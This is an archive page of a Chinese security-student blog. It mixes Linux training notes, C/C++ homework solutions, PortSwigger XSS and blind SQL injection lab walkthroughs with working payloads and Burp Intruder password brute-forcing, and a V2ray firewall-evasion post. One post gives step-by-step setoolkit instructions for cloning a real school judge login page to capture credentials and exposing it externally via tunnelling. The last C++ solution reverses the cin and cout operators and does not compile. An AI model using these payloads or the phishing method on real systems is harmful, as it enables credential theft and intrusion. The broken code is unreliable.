HTTP头注入

什么是Header头？

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。这两种类型的消息有一个起始行，一个或者多个头域，一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头，请求头，响应头和实体头四个部分

header注入，该注入是指利用后端验证客户端信息（比如常用的cookie验证）或者通过header中获取客户端的一些信息（比如User-Agent用户代理等其他header字段信息），因为这些信息在某些地方是会和其他信息一起存储到数据库中，然后再在前台显示出来，又因为后台没有经过相对应的信息处理所以构成了sql注入。

SQL注入之数据类型

（1）数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入，一般被叫做数字型注入点，缘由是其注入点 id 类型为数字，在大多数的网页中，诸如查看用户个人信息，查看文章等，大都会使用这种形式的结构传递id等信息，交给后端，查询出数据库中对应的信息，返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where id=1 and 1=1

（2）字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式，其注入点 name 类型为字符类型，所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号，可以是单引号或者是双引号。若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

（3）搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面，而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句，其原形大致为：select * from 表名 where 字段 like '%关键字%' 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

Echo战队第4次培训——MySQL数据库

Mon, 28 Nov 2022 00:00:00 +0800

课件下载

Echo战队第3次培训——计算机网络体系结构

Sun, 27 Nov 2022 00:00:00 +0800

课件下载

Echo战队第2次培训——Linux基本命令2

Fri, 25 Nov 2022 00:00:00 +0800

Linux基本命令二

1、head 命令

head

**作用：**用于查看文件的开头部分的内容，有一个常用的参数 -n 用于显示行数，默认为 10，即显示 10 行的内容

**语法：**head [参数] [文件]

命令参数：

参数	参数描述
-q	隐藏文件名
-v	显示文件名
-c<数目>	显示的字节数
-n<行数>	显示的行数

（1）显示 1.log 文件中前 20 行

[root@localhost ~]# head 1.log -n 20

（2）显示 1.log 文件前 20 字节

[root@localhost ~]# head -c 20 log2014.log

（3）显示 t.log最后 10 行

[root@localhost ~]# head -n -10 t.log

扩展：tail 命令，查看文件的末尾

2、which 命令

which

在 linux 要查找某个命令或者文件，但不知道放在哪里了，可以使用下面的一些命令来搜索

which 查看可执行文件的位置。
whereis 查看文件的位置。
locate 配合数据库查看文件位置。
find 实际搜寻硬盘查询文件名称。

**作用：**用于查找文件（which指令会在环境变量$PATH设置的目录里查找符合条件的文件。）

Echo战队第2次培训——Linux快照与克隆

Fri, 25 Nov 2022 00:00:00 +0800

Linux快照与克隆

1、快照

什么是快照：创建一个备份。当执行了不可逆的错误操作后,可以通过快照用来恢复系统

创建快照的三种模式：

挂载状态下创建快照

开机状态下创建快照

关机状态下创建快照

创建快照

(1)点击管理快照

(2)点击拍摄快照

(3)输入名称信息

(4)当需要转到创建好的快照，我们可以点击对应状态的快照

(5)当点击转到即后选择是即可转到对应快照下

2、克隆

什么是克隆：以某虚拟机为母版,复制出一个一模一样的虚拟机出来,包括里面的数据

创建快照的模式：需要在系统关机状态下操作

创建克隆

正常选择通过快照创建克隆(只能是关机状态下的克隆)

那此时如果在开机状态，就需要关机，记得关机命令和方法有很多种

1、halt   立刻关机 
2、poweroff  立刻关机 
3、shutdown -h now 立刻关机(root用户使bai用) 
4、shutdown -h 10 10分钟du后自动关机 如果是通过shutdown命令设置关机的话zhi，可以用shutdown -c命令取消重启

(1) 选择关机状态下的快照

(2) 点击克隆

(3) 点击下一步

(4) 选择现有快照，选择这是关机状态下的快照

(5) 选择创建完整克隆

Echo战队第2次培训——计算机网络概述

Fri, 25 Nov 2022 00:00:00 +0800

课件下载.pdf

Echo战队第1次培训——Linux基本命令1

Wed, 23 Nov 2022 00:00:00 +0800

Linux基本命令1

1、mkdir 命令

mkdir

**作用：**命令用来创建指定的名称的目录，要求创建目录的用户在当前目录中具有写权限，并且指定的目录名不能是当前目录中已有的目录

**语法：**mkdir [选项] 目录

**命令功能：**通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且，所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名，即同一个目录下不能有同名的(区分大小写)

命令参数：

选项参数	完整参数	功能描述
-m	--mode=模式	设定权限<模式> (类似 chmod)，而不是 rwxrwxrwx 减 umask
-p	--parents	可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后, 系统将自动建立好那些尚不存在的目录,即一次可以建立多个目录;
-v	--verbose
--help
--version	--verbose 每次创建新目录都显示信息 –help显示此帮助信息并退出 –version输出版本信息并退出

示例如下：

# 创建目录 正常使用无参数
[root@localhost text.txt]# mkdir mydir
[root@localhost text.txt]# ll
总用量 0
drwxr-xr-x. 2 root root 6 9月 7 13:06 mydir
# 切换至mydir目录
[root@localhost text.txt]# cd mydir/
# 参数-p 进行递归创建目录 使用参数 -p
[root@localhost mydir]# mkdir -p text1/text2
# 切换至text2目录
[root@localhost mydir]# cd text1/text2/
[root@localhost text2]# pwd
/root/mydir/text1/text2
总结：# 使用参数 -p 可以创建多层路径文件目录
# 分别创建三个目录，并设置权限 使用参数 -m
[root@localhost text2]# mkdir -m 777 exercise1
[root@localhost text2]# mkdir -m 765 exercise2
[root@localhost text2]# mkdir -m 654 exercise3
[root@localhost text2]# ll
总用量 0
drwxrwxrwx. 2 root root 6 9月 7 13:22 exercise1
drwxrw-r-x. 2 root root 6 9月 7 13:23 exercise2
drw-r-xr--. 2 root root 6 9月 7 13:23 exercise3
总结：# 使用参数 -m 可以创建文件并设置文件的权限
注意(777，765，654 其中每一个数字，分别表示User、Group、及Other的权限。r=4，w=2，x=1)
# 创建一个目录，并设置权限 使用参数 -v -m
[root@localhost text2]# mkdir -v -m 654 exercise4
mkdir: 已创建目录 "exercise4"

2、touch 命令

touch

PortSwigger篇：Cross-site scripting 跨站脚本攻击——2

Wed, 23 Nov 2022 00:00:00 +0800

靶场简介

我们将拿ALL Lab中有关XSS的第一个靶场进行分析
作为一种和Sql注入方法类似但原理又大相径庭的攻击方式，XSS具备了比Sql注入更便捷的漏洞类型，例如储存型XSS（stored XSS）

下面我们来看一下这个靶场和拿下方法

这个靶场的solution直接告诉了我们提交的方法，我们可以在搜索框中提交<script>alert(1)</script>就能通过
但它的原理是什么呢？
首先我们可以通过审查元素，看一下我们的搜索按钮的属性和动作

你可以通过按键盘上的F12键来打开，点击左上角的，再点一下Search按钮，就能定位到Search按钮的标签
从上面的标签中我们可以知道，搜索框的input标签才是我们的注入点。这里，我们补充一下对form这个标签的介绍
form标签用于创建供用户输入的 HTML 表单，而input和button是属于form的表单元素。简单来说，form标签决定了input输入内容的提交地址是根目录/，以及提交的动作类型get。而我们输入的内容则被提交到了JS文件中。因此，我们就可以看到一个弹窗

Echo战队第1次培训——Linux文件与路径

Tue, 22 Nov 2022 00:00:00 +0800

Linux文件与路径

1、文件结构

Windows和Linux文件系统区别

在windows平台下，打开“此电脑”，我们可以看到盘符分区

每个驱动器都有自己的根目录结构，这样形成了多个树并列的情形

但是在 Linux 下，我们是看不到这些驱动器盘符，我们看到的是文件夹（目录）：

Linux没有盘符这个概念，只有一个根目录/，所有文件都在它下面

[root@localhost ~]# ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

当我们输入ls / 可以查看更目录下的文件查看根目录下的系统文件

目录	说明	备注
bin	存放普通用户可执行的指令	即使在单用户模式下也能够执行处理
boot	开机引导目录	包括Linux内核文件与开机所需要的文件
dev	设备目录	所有的硬件设备及周边均放置在这个设备目录中
etc	各种配置文件目录	大部分配置属性均存放在这里
lib/lib64	开机时常用的动态链接库	bin及sbin指令也会调用对应的lib库
media	可移除设备挂载目录	类似软盘 U盘光盘等临时挂放目录
mnt	用户临时挂载其他的文件系统	额外的设备可挂载在这里,相对临时而言
opt	第三方软件安装目录	现在习惯性的放置在/usr/local中
proc	虚拟文件系统	通常是内存中的映射,特别注意在误删除数据文件后，比如DB，只要系统不重启,还是有很大几率能将数据找回来
root	系统管理员主目录	除root之外,其他用户均放置在/home目录下
run	系统运行是所需文件	以前防止在/var/run中,后来拆分成独立的/run目录。重启后重新生成对应的目录数据
sbin	只有root才能运行的管理指令	跟bin类似,但只属于root管理员
srv	服务启动后需要访问的数据目录
sys	跟proc一样虚拟文件系统	记录核心系统硬件信息
tmp	存放临时文件目录	所有用户对该目录均可读写
usr	应用程序放置目录
var	存放系统执行过程经常改变的文件

在 Linux 系统中，有几个目录是比较重要的，平时需要注意不要误删除或者随意更改内部文件。

PortSwigger篇：Cross-site scripting 跨站脚本攻击——1

Mon, 21 Nov 2022 00:00:00 +0800

前情概要

要想理解“跨站脚本攻击”（又叫XSS）的原理，就得回到其产生的根本——JS传参语句的设计缺陷
什么是JS？JS是怎么实现的？他跟网站又有什么关系？别急，让我们一步一步来

基础知识

要想理解JS的工作原理，以及其与网站的联系，就需要知道网站是怎么工作的

简而言之，我们之所以能够看到现在的网页，正是浏览器渲染的功劳
而一个完整的网页，一般都包括但不限于两种标记语言和一种编程语言，他们分别是HTML、CSS和Javascript

要想具体深入我们的XSS脚本漏洞使用，就需要先理解一下这三者之间的联系和作用分别是什么
下面我们就开始对这三者展开简单讨论

HTML

HTML是一种用于创建网页的标准标记语言，可以使用 HTML 来建立自己的 WEB 站点，HTML 运行在浏览器上，由浏览器来解析。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Red的教程(redshome.top)</title>
</head>
<body>
<h1>我的第一个标题</h1>
<p>我的第一个段落。</p>
</body>
</html>

这是一段简单的HTML标记语句，每一个<>包括其中的内容都叫一个标签，而正常需要使用一对标签进行配对，将需要进行的动作放置在这对标签的中间，中间的这些动作就能具备这对标签的属性

如果我们将其使用.html或.htm后缀文件的形式用浏览器打开后，会发现他们二者都是可以正常打开的

所以这里我们便得到了第一个结论，html和htm是同一种格式的文件

下面我们来对各个部分进行一下解释

<!DOCTYPE html> 声明为 HTML5 文档
<html> 元素是 HTML 页面的根元素
<head> 元素包含了文档的元（meta）数据，如 <meta charset="utf-8"> 定义网页编码格式为 utf-8。
<title> 元素描述了文档的标题
<body> 元素包含了可见的页面内容
<h1> 元素定义一个大标题
<p> 元素定义一个段落

更多的标签使用，可以参考菜鸟教程上的HTML教程

CSS

CSS又叫层叠样式表，是一种用来添加HTML文件如字体、间距等样式的标记语言。扩展名固定为.css
CSS的使用与HTML紧密联系。让我们先来看一段HTML标记

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Red的教程(redshome.top)</title>
<style>
body {
background-color:#d0e4fe;
}
h1 {
color:orange;
text-align:center;
}
p {
font-family:"Times New Roman";
font-size:20px;
}
</style>
</head>
<body>
<h1>CSS 实例!</h1>
<p>这是一个段落。</p>
</body>
</html>

我们可以看到他的效果如下图所示

首先我们先来介绍一下CSS的常见使用方法以及CSS的基础知识。
先来看一下CSS的语句结构

XUJCOJ：caiming：2022级C++第23次作业第1题

Wed, 16 Nov 2022 00:00:00 +0800

第1题

描述
输入一个正整数n，然后输入n个字符串，最后输入一个正整数m（m<=n），要求输出第m个字符串

输入
一个正整数n，然后是n个字符串，最后是一个正整数m（m<=n）

输出
一个字符串，是输入的n个字符串中第m个字符串。不要换行。

样例输入
3

abc cd efg

样例输出
cd

思路

怎么说也是道签到题，但这道题有趣的并不是他的难易度，而是有关malloc和new两种不同动态分配方式的讨论

代码[C]

[Forlogin]
#include <stdio.h>
#include <string.h>
int main(){
int m,n;
scanf("%d",&m);
char *p[m];
for(int i=0;i<m;i++){
p[i]=(char*)malloc(100*sizeof(char));
scanf("%s",p[i]);
}scanf("%d",&n);
printf("%s",p[n-1]);
}[/Forlogin]

代码[C++]

[Forlogin]
#include <iostream>
#include <string.h>
using namespace std;
int main(){
int m,n;
cin>>m;
char *p[m];
for(int i=0;i<m;i++){
p[i]=new char [10];
cin>>p[i];
}cin>>n;
cout<<p[n-1];
}[/Forlogin]

有关malloc和new的区别

对于一个长期使用C语言的老鸟而言，malloc的熟练程度一定要比new要来的高
但是他们俩有什么区别呢？

首先来说一下他们的定义分别是什么

malloc

malloc的作用是分配所需的内存空间，并返回一个指向它的指针，是C语言stdlib.h库的一个库函数，下面是malloc的声明

void *malloc(size_t size)

malloc的返回值是指向已分配大小的内存的指针或null，且在未作特别规定的情况下指针类型位void
下面是malloc的用法实例（源自菜鸟教程）

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
char *str;
/* 最初的内存分配 */
str = (char *) malloc(15);
strcpy(str, "runoob");
printf("String = %s, Address = %u\n", str, str);
/* 重新分配内存 */
str = (char *) realloc(str, 25);
strcat(str, ".com");
printf("String = %s, Address = %u\n", str, str);
free(str);
return(0);
}

以上运行结果的返回值是

Red的钓鱼网站

Tue, 15 Nov 2022 00:00:00 +0800

方法

要想制作一个钓鱼网站，就需要满足以下几点条件：

1）一个与原网站高度相似的html页面
2）一台能够与受害者主机有直接或间接联系的终端

虽然看着简单，但单要完成第一步可以说就已经让一些人够呛。所以，想要在Windows上用一般的方法来实现这一目的，显然是比较复杂的。所以Red便下意识地将目光转向了kali。好在kali集成了一款十分强大的工具setoolkit

下面就是我们今天的犯罪嫌疑人Red的操作步骤
在kali命令行中输入setoolkit，就可以打开这一工具。第一次打开需要输入y来进行工具依赖的安装

会出现以下内容

拉到下方，会出现如下内容

翻译后内容如下

社会工程学攻击
快速追踪测试
第三方模块
升级软件
升级配置
帮助

输入1

鱼叉式网络攻击
网页攻击
传染媒介式
建立payload和listener
邮件群发攻击
Arduino基础攻击
无线接入点攻击
二维码攻击
Powershell攻击
第三反方模块

输入2

Java applet攻击
Metasploit浏览器攻击
钓鱼网站攻击
标签钓鱼攻击
网站jacking攻击
多种网站攻击
全屏幕攻击

输入3

网站模板
站点克隆
用自己的网站

输入2，这里进行网站克隆，默认状态下对本地ip回车即可，将oj的登陆网站输入进来，等待捕获输入信息即可。这里用账号：admin，密码：IST22006来输入，可以看到如下内容

可以看到成功捕获，钓鱼网站制作成功~

怎样让外网访问到？

这就需要用到一种技术：内网穿透
内网穿透的目的是：让外网能访问你本地的应用，例如在外网打开你本地http://127.0.0.1 指向的Web站点。
那怎么才能实现内网穿透呢？现有工具有花生壳，natapp，小米球工具，前两个都是收费的，最后一个生成的域名前缀是自己设置的，穿透域名是xx.ngrok.xiaomiqiu.cn.有兴趣的可以玩一下。

PortSwigger篇：Blind SQL injection with conditional responses 带条件响应的SQL盲注靶场

Sun, 13 Nov 2022 00:00:00 +0800

本篇为小屋第一篇靶场日记，面向小白，步骤较为详细，Dalao们自行食用，也欢迎纠错

靶场简介

由题可得，这是一道经典的盲注题，大体思路也在Lab的Solution中有所提及，不过咱还是抱着打靶子的乐趣再写一遍试试

方法

试探

所谓漏洞，就是要进行尝试才能知道它是否真的存在。进入到如下页面后，随便点进一个“Pets”的标签页，就能看到我们今天的一号受害男主，也就是右上角的“Welcome Back！”

我们先对该页面进行一次拦截，并使用' and 1=1 --+ 语句来构造一次**一定成立的合法请求**，试看看他的Cookies能不能被我们利用

在原标签页面，我们可以清楚的看到我们的一号男主并没有消失，于是我们对其便继续进行试探，将请求变为不合法请求，再次进行尝试

很显然，我们的猜测是正确的，这里存在着一个可供我们进行注入的SQL漏洞，我们便可以开始对其进行’造娃’式的语句构造，来达到获取服务器密码数据的目的

猜测

既然已经知道存在SQL漏洞，也就是服务器可以执行我们所构造语句的漏洞，那我们就可以利用select命令对其进行查询，具体查询语句如下

' AND (SELECT 'a' FROM users LIMIT 1)='a'--+

这里我先对上述语句进行一下解释。Select是用来对后面From所指向的内容，也就是users进行查询。查询什么呢？就是查询我们在users表中是否存在这样一个字符a，如果成立，那么就会相当于users这个表在数据库中是存在，将会返回一个字符a那么就会和外面所构造的等式成立，所以就构成了一条合法的请求。而这里的关键也就在于where后的值是否成立。其中，Limit起到了限定字段的作用，也就是限制在第一个字段进行查询。
这里我并没有利用服务器自带的后面那个分号，而是将其使用--+注释掉并手动在a后添加了一个，这样比较美观，当然也是个人习惯，可以根据你的习惯来决定使用哪种方法
对上条构造完的请求进行释放后，可以在页面看到我们的一号男主角并没有消失。那么根据我们在试探阶段的经验就可以很容易推断出一条对接下来密码爆破十分重要的信息，在构造出的语句合法的情况下，一号男主角不会消失，反之就会

接下来，我们继续构造，对数据库中的其他信息进行更详细的查询。我们使用以下命令对users表中的内容进行判断

' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--+

这句的作用可以类比到上面那句，作用就是更加地确定这个users表中存在一个叫做administrator的用户名

接着我们继续对这个表中的另一个字段password进行试探，当然，在题目中已经告诉我们这个字段的名字就是password，而在实战中则不一定是这个名字，所以这就需要我们对大众对数据库命名的习惯进行收集和分析，当然这都是后话。我们可以构造以下语句对密码的长度进行勘探

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--+

在讲这句话进行释放后，我们可以在页面中看到我们的一号男主角并没有消失，利用length()函数对字段长度进行猜测的方法，可以一步步缩小我们的猜测范围，可以测试出我们的密码长度为20，猜测工作也基本到此为止，接下来便是对密码的直接爆破了。

爆破

我们可以使用substring()这个函数来挨个判断密码的每一位分别是什么，具体用法如下

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--+

显然我们可以通过这种方式手动挨个地将密码的每一位给试出来。但显然如果没有比章鱼哥的手还多的键盘，估计试一早上都试不出来。不过好在Burpsuite内置了帮助我们进行爆破的自动化模块Intruder，我们只需要将数据包发送到这个模块就能对特定参数就行爆破

具体的配置界面如下，记得要将攻击模式改成Cluster bomb，才能对下面请求中的多个参数进行爆破

接下来进到上方的payload界面，对参数添加变量。这里我们可以将第一个参数的攻击类型改为Numbers，因为第一个变量的值范围是在1-20，所以我们可以将范围改为1到20，每次尝试的步长step设置为1
![13](images/po rtswigger%E6%89%93%E9%9D%B6%E6%97%A5%E8%AE%B0%E4%B9%8B%E7%9B%B2%E6%B3%A8%E5%93%8D%E5%BA%94%20(13).png “13”)

第二个参数的攻击类型设置为simple list，点击下方**Add from list…**可以添加相应字符。因为题目中告诉我们密码由字母和数字组成，所以我们可以只添加a-z和0-9这两项

XUJCOJ：caiming：2022级C++第16次作业第6题

Thu, 10 Nov 2022 00:00:00 +0800

本题由 Red 采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。
严禁抄袭，侵权必究。代码仅当参考使用。

挂彩灯

描述
有一堆彩灯，红色绿色两种颜色，现在要把它们串在一起，要求每个红灯后面至少要有1个绿灯，求一共有多少种不同的串法

输入
第1行是一个正整数n，表示测试案例的数量

第2到第n+1行是n组测试数据，每行数据有两个正整数，分别表示红灯的数量和绿灯的数量

输出
针对每行测试数据，输出不同的串法数量。（答案不会超过50万）

每组案例输出完都要换行。

样例输入
1

2 3

样例输出
3

提示说明
2个红灯3个绿灯合法的串法有：绿红绿红绿、红绿绿红绿、红绿红绿绿，一共3种

思路

高中排列组合题，应该来说思路是很直观的。

首先彩灯要遵循“一红配一绿”的规则，那么剩下需要进行排列的彩灯也就是用绿彩灯减去红彩灯数剩下的进行插空。那么问题就变成了十分经典的一种排列组合模型——将绿球排成一排，然后再从中挑出若干个与红球进行配对。因为根据题意，红球绝对不可能排在队头，所有这里只需要将 C（绿球数，红球数）算出来就行。并且根据排列组合C（m,n）=m!/n!*(m-n)!的特性，当红灯数大于绿灯数一半后，可以将超出部分消去，因此只需要对g-r进行计算就行
需要注意的是，为了防止数据超出，这里数据类型需要使用long long

代码[C++]

[Forlogin]
#include <iostream>
#include <cmath>
#include<limits.h>
using namespace std;
int main()
{
int n;
cin >> n;
while (n--)
{
long long int r, g, c, mul1 = 1, mul2 = 1;
cin >> r >> g;
if (r > g)
{
cout << 0;
}
else if (r == g || r == 0)
{
cout << 1;
}
else
{
if (r > g / 2)
{
r = g - r;
}
for (int i = 1; i<=r; i++)
{
mul1 = mul1 * g;
mul2 = mul2 * i;
g--;
}
c = mul1 / mul2;
cout << c;
}
cout << endl;
}
return 0;
}[/Forlogin]

XUJCOJ：caiming：2022级C++第19次作业第2题

Wed, 09 Nov 2022 00:00:00 +0800

本题由 Red 采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。
严禁抄袭，侵权必究。代码仅当参考使用。

第2题

描述
世人皆好奇lxy的体重，但lxy自己不愿意说，她由两个舍友lwj和knt表示可以透露lxy的体重，但不会直接说出数值。目前已知lxy的体重是1到300斤之间的某个整数（包括1和300）。

lwj喜欢透露lxy的体重除以a的余数等于b，knt喜欢透露lxy的体重大于d或者小于d。当她们透露了一定的消息以后，就可以唯一确定lxy的体重，当然也有可能因为自相矛盾而导致无解，也有可能有多个可能的解。

现有lwj和knt的一系列透露的消息，分别是lwj一句话knt一句话这样的循环，想知道最终是否能够确定lxy的体重。

输入
只有一组测试案例。

第1行是一个正整数n，表示lwj和knt一共透露了多少句话（两个人说话的总和）

第2到第n+1行是她们说的n句话，其中第偶数行是lwj说的，每行包括两个整数a、b（a>b>=0），表示lxy的体重除以a的余数等于b。第奇数行是knt说的，每行包括两个整数c和d（c只会是1或者-1，d>=0），如果c=1，表示lxy的体重大于d；如果c=-1，则表示lxy的体重小于d。

输出
如果根据她们说的n句话，lxy的体重是无解的，则输出-1；如果lxy的体重有多个合法的解，则输出0；如果lxy的体重有唯一解，则输出体重值。不要换行。

样例输入
4

12 0

1 110

10 0

-1 130

样例输出
120

提示说明
4句话分别代表体重除以12余0，体重大于110，体重除以10余0，体重小于130，故可以断定lxy的体重是120

思路

一般的思路是很直观的，那就是将所有数读进一个数组后再在knt提供的最小和最大数之间进行遍历，挨个判断余数是否相符就行
但事情并没有这么简单，你会发现在还没学二维数组之前，你很难将lwj提供的数据储存起来再参与到余数判断的遍历中（当然也有办法）
所有一般的思路永远没有二般的好用，下面就来介绍一下
结合对余数的理解，可以用累加的方式，从b开始，每次加a加到<=300为止。又因为一共有(n+1)/2行的要求，所有符合这个要求的数就是满足条件，在计数器cnt中就能+1了
需要注意的是，在判断“体重无解”或“体重有解”后要及时跳出程序，否则会出现多次输出的情况。具体操作就是在满足条件的最后都加上break

代码[C++]

[Forlogin]
#include<iostream>
#include<limits.h>
using namespace std;
int main()
{
int n,i=2,wight[301]={0},min=1,max=300,cnt=0,k[2]={0},md=0;
cin>>n;
while(i<=n+1){
if(i%2==0){
int a,b;
cin>>a>>b;
for (int j=b;j<=300;j+=a) wight[j]++;
}else{
int c,d;
cin>>c>>d;
if(c==1&&d>min) min=d;
if(c==-1&&d<max) max=d;
if(max<=min) {cout<<"-1";md=1;break;}
}
i++;
}if(md!=1){
for (int j=min;j<=max;j++){
if(wight[j]==(n+1)/2){
k[0]=j;
cnt++;
if(cnt>1){
cout<<"0";
break;
}
}
}
if(cnt==0) cout<<"-1";
if(cnt==1) cout<<k[0];
}
return 0;
}[/Forlogin]

题外话

这题卡了超久

我和我的冤种V2ray 第一章——简单搭建【还没写完】

Wed, 09 Nov 2022 00:00:00 +0800

听我一句劝，不要擅自挂CDN！！！

事情经过

前些天到百度闲逛，便突发奇想地想重新搭个屋子
[没有部落格的人绝不认输]
于是一番走街串巷后，来到了一家奇怪的商店，看到了一个奇怪的商品

超！139！这还不冲他！

……

在买下这台香港服务器后，又是一番折腾，于是便搭好了这个小屋

虽然但是，这么冲明的在我就想，搭完Blog可不能白白浪费了这整整10M的带宽

于是我就对下面这个地方产生了人类原始的好奇心

好的，打不开，是时候拿起手里的小飞机尝试一下了

简单思路

既然有了一台在firewall以外服务器，同时经过尝试后可以与google.com直接ping通，那么接下来就需要一个合适的协议来搭建本地与主机之间的联系

众所周知，在TCP/IP四层结构里，firewall主要作用于传输层和网络层，通过对数据包的加密方式、请求内容、协议或端口等进行特殊筛选，从而达到无法出入境的效果

firewall的存在也只是让传统http的请求过程多了一步筛选（当然，现在的firewall也变得越来越聪明，会自动发起对服务器的请求来判断是否存在异常，本文暂不会提到应对手段）

于是就有dalao想出了一种奇妙的方法来规避这样定筛选，就是**欺骗**
欺骗的原理也很简单，只需要对发送到请求进行加密就行

事前准备

使用协议:Vmess
工具:V2ray、Putty

安排

XUJCOJ：caiming：2022级C++第21次作业第10题

Tue, 08 Nov 2022 00:00:00 +0800

本题由 Red 采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。
严禁抄袭，侵权必究。代码仅当参考使用。

第10题

描述
N个学生去海岛游玩，只带了一个hrr牌充电宝，可以为所有学生的手机充电。第i个学生的手机具有百分之p[i]的电量，充电宝总共可以充百分之M的电量。问最多可以有几台手机的电量达到百分之百。

输入
只有一组案例。

第一行是两个整数N和M(0≤N≤100,0≤M≤10000)，第二行包含N个整数p[i] (0≤p[i]≤100)表示第i台手机剩余电量的百分比。

输出
一个整数，表示最多可以充的手机台数。不要换行。

样例输入
3 10
100 99 90

样例输出
2

思路

很简单，只要将每台手机存到数组里然后再挨个减100，最后判断剩余电量M能够撑到第几台手机不小于0即可

代码[C语言]

[Forlogin]
#include<iostream>
#include<algorithm>
using namespace std;
int main(){
int a[10000]={0},N,M,cnt=0;
cin>>N;
cin>>M;
for(int i=0;i<N;i++){
cin>>a[i];
a[i]=100-a[i];
}
sort(a,a+N);
for(int i=0;i<N;i++){
M-=a[i];
if(M<0){
break;
}
cnt++;
}
printf("%d",cnt);
}[/Forlogin]

XUJCOJ：caiming：2022级C++第21次作业第9题

Tue, 08 Nov 2022 00:00:00 +0800

本题由 Red 采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。
严禁抄袭，侵权必究。代码仅当参考使用。

第9题

描述
把一堆数字按照最小数—最大数—第二小数—第二大数—第三小数—第三大数…这样的规律输出所有的数字。

输入
只有一组案例。

一个正整数n，然后是n个整数。（n是偶数）

输出
把这n个整数按照最小数—最大数—第二小数—第二大数—第三小数—第三大数…这样的规律输出所有的数字。每个数字之间有一个空格，最后的数字后面没有空格和换行

样例输入
6

1 2 3 4 5 6

样例输出
1 6 2 5 3 4

思路

有两种想法，最直观的一种就是开个俩数组，数组a用来储存输入，另一个数组b用来储存将a遍历后的“一大一小”，说白点就是说得挨个比较一遍。时间复杂度为O（n^n）。这种算法对于样例数据这样小的数字还是可以接受的，缺点就在于没法承受太多组数字，每次比较完后还不能比之前的数字来得小（大），显然加大了工作量。
既然一般的方法不行，那就用二般的方法。我们可以把此次作业第1题抄过来，将数组a从小到大排完后，分别正序和倒序输出即可。这样便将时间复杂度控制在了O（n^2）

代码[C语言]

[Forlogin]
#include<stdio.h>
#include<limits.h>
int main(){
int n,min,a[10000]={0};
scanf("%d",&n);
for(int i=0;i<n;i++){
scanf("%d",&a[i]);
}
for(int i=0;i<n;i++){
for(int t=i+1;t<n;t++){
if(a[i]>a[t]){
min=a[i];
a[i]=a[t];
a[t]=min;
}
}
}
for(int i=0;i<=(n/2)-1;i++){
printf("%d ",a[i]);
printf("%d",a[(n-1)-i]);
if(i!=(n/2)-1){
printf(" ");
}
}
}[/Forlogin]

代码[C++]

[Forlogin]
#include<iostream>
#include<limits.h>
using namespace std;
int main(){
int n,min,a[10000]={0};
cin<<n;
for(int i=0;i<n;i++){
cin<<a[i];
}
for(int i=0;i<n;i++){
for(int t=i+1;t<n;t++){
if(a[i]>a[t]){
min=a[i];
a[i]=a[t];
a[t]=min;
}
}
}
for(int i=0;i<=(n/2)-1;i++){
cout>>a[i];
cout>>a[(n-1)-i]);
if(i!=(n/2)-1){
cout>>" ";
}
}
}[/Forlogin]

发布用于测试小屋页面显示功能